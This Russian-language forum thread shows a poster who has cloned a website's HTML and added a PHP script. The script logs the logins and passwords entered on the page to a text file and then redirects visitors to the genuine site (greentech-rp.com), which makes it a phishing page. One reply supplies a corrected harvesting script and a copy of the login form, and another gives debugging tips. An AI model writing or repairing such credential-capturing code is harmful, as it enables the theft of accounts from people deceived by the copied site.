Загрузка...

Из-за чего может не работать PHP скрипт?

Тема в разделе Backend создана пользователем nacxapet 3 ноя 2022. 196 просмотров

Загрузка...
  1. nacxapet
    nacxapet Автор темы 3 ноя 2022 0 16 июн 2021
    Всем привет, только изучаю эту сферу и возник такой вопрос.
    Скачал html готового сайта, и попытался добавить php скрипт
    PHP
    <?PHP
    $Log = $_POST['login'];
    $Pass = $_POST['password'];
    $log = fopen("database.txt","at");
    fwrite($log,"\n $Log:$Pass \n");
    fclose($log);
    header('Location: https://greentech-rp.com/');
    ?>

    Далее добавил это все на хост через Filezilla. Сам скопированный сайт отображается идеально, но вот скрипт не работает от слова совсем, не идут данные в текстовый документ и нет переадресации после ввода данных. Тем кто поможет подкинуть соточку на карту, заранее спасибо

    В архиве прикрепил полностью готовый сайт, который залит на хост (кликабельно)
     
    3 ноя 2022 Изменено
  2. Leonchikkk
    Leonchikkk 4 ноя 2022 107 20 июл 2019
    В чем суть скрипта, записывать то что водит юзер в login?
    --- Сообщение объединено с предыдущим 4 ноя 2022
    PHP
    <?

    if(isset($_POST["editinfositee"])){
    $login= htmlspecialchars($_POST['login']);
    $pass= htmlspecialchars($_POST['password']);
    $file = 'base.txt'; // Открываем файл для получения существующего содержимого
    $current = file_get_contents($file); // Добавляем нового человека в файл
    $current .= "$login $pass"; // Пишем содержимое обратно в файл
    file_put_contents($file, $current); fclose($file);
    }
    ?>
    HTML
                <form  id='editinfositee' method='post' name='editinfositee'>
    <input type="text" placeholder="Ник" name="login" oninput="CheckInput(this);">
    <input type="password" placeholder="Пароль" name="password" oninput="CheckInput(this);">
    <img src="images/eye.png" alt="show" onclick="ShowPassword(this, 1);" class="show">
    <a onclick="CloseModals(false); setTimeout(() => {OpenModal('password_reset', 1, 'block', 1, 1);}, 550);">Забыли пароль?</a>
    <button id='editinfositee' name='editinfositee' onclick="Login(this);">Войти</button>
    </form>
    Подправил тебе.
    [IMG]
     
  3. mulyar_trx
    mulyar_trx 5 ноя 2022 Заблокирован(а) 3 13 июл 2022
    POST запросы оптравлются либо через ajax, либо через форму, у тебя ничего не получается потому-что массив $_POST пуст
    А схерали хедер не работает, нужно смотреть в devtools
     
Top